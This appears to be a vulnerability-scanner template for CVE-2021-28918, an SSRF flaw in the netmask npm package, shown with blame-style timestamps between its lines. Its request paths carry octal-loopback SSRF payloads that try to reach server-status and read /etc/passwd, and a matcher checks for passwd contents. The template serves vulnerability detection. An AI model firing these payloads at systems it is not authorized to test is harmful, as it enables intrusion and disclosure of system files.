2021-07-06 06:50:43 +00:00
id : CVE-2021-28918
info :
2021-09-03 07:40:35 +00:00
name : Netmask NPM Package SSRF
2021-07-06 06:50:43 +00:00
author : johnjhacking
2021-07-06 07:11:16 +00:00
severity : critical
2021-07-06 07:15:50 +00:00
description : Improper input validation of octal strings in netmask npm package allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
2021-07-06 07:11:16 +00:00
tags : cve,cve2021,npm,netmask,ssrf,lfi
2021-09-03 07:40:35 +00:00
reference :
2021-09-03 07:44:24 +00:00
- https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-28918
- https://github.com/advisories/GHSA-pch5-whg9-qr2r
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score : 9.10
cve-id : CVE-2021-28918
cwe-id : CWE-20
2021-07-06 06:50:43 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
2021-09-03 04:48:24 +00:00
- "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
- "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"
2021-07-06 07:11:16 +00:00
2021-09-03 07:40:35 +00:00
stop-at-first-match : true
matchers-condition : or
2021-07-06 06:50:43 +00:00
matchers :
- type : word
2021-07-06 07:05:03 +00:00
part : body
2021-07-06 06:50:43 +00:00
words :
- "Apache Server Status"
2021-07-06 07:03:18 +00:00
- "Server Version"
2021-09-03 04:48:24 +00:00
condition : and
2021-09-03 07:40:35 +00:00
- type : regex
regex :
- "root:.*:0:0:"